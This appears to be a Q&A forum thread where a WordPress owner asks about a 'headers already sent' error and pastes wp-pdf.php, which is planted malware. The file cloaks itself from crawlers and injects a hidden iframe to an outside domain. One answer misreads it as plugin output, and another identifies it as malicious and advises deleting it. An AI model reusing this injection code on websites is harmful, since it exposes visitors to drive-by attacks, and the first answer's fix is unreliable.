1

I know this is a classic : I have that error message coming from Wordpress :

Warning: Cannot modify header information - headers already sent by (output started at /home/quanscom/public_html/blog/wp-pdf.php:8) in /home/quanscom/public_html/blog/wp-includes/feed-rss2.php on line 8

I know that is usually coming from a garbage space or a line in the file but that seems to be different this time.

I've been following all those links :

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

and especially this one :

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

But nothing has changed. As advised in the last link, I've replaced those two files by the original, but nothing changed. Could any one give a look with some fresh eyes please ? Thanks, you'll find the two pages below :

wp-pdfphp :

    <?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
   !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
    if (!is_feed()) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
                </script>';
        echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
}
?>

feed-rss2.php :

<?php
/**
 * RSS2 Feed Template for displaying RSS2 Posts feed.
 *
 * @package WordPress
 */

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    <?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.

2 Answers 2

1

In your wp-pdf.php file on line 8, you have an echo statement. And in feed-rss2.php you have a header() function , which basically tries to set the header for the response. Since the output has already happened in the wp-pdf.php file, you are getting this error.

To resolve this you can enclose the echo statement with this condition.

if (!is_feed()) {
    // your echo statement here
}
Sign up to request clarification or add additional context in comments.

6 Comments

Thanks for your help, I tried your solution, but nothing has changed. In fact I can even delete everything there is in the wp_pdf.php and nothing happen. I even can delete the header sentence without any result. By the way, this is a Rss feed page I'm talking about : feeds.feedburner.com/quantum-wireless
There are two echo statements in wp_pdf.php file. Did you enclose both of them within the statement I gave?
Which Plugin is including this wp_pdf.php file?
I've honestly no idea, I'm not the one who set up this website, how can I know ? Thanks
Check the list of Plugins. See if any of them have PDF as part of the name. This Plugin basically has an error, which needs to be fixed.
|
0

On a closer look at the wp-pdf.php file code, it looks slightly malicious for me. It is including an hidden iframe on your page to a domain that looks really malicious. Also the code is checking whether the page was referred by a search engine or not.

I know that you inherited this code. Can you tell me the full path where this file is present?

Edit:

I think you can remove the wp-pdf.php file. When you remove it, it might generate another error in the place where it got included originally. You can go there and remove the reference as well.

1 Comment

SO the path of that file is /home/quanscom/public_html/blog/wp-pdf.php , you can see that in the error message on top of that page (the page that is concerned about this problem) feeds.feedburner.com/quantum-wireless accesible from that page (just click on rss feed on the right) : quantum-wireless.com/blog

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.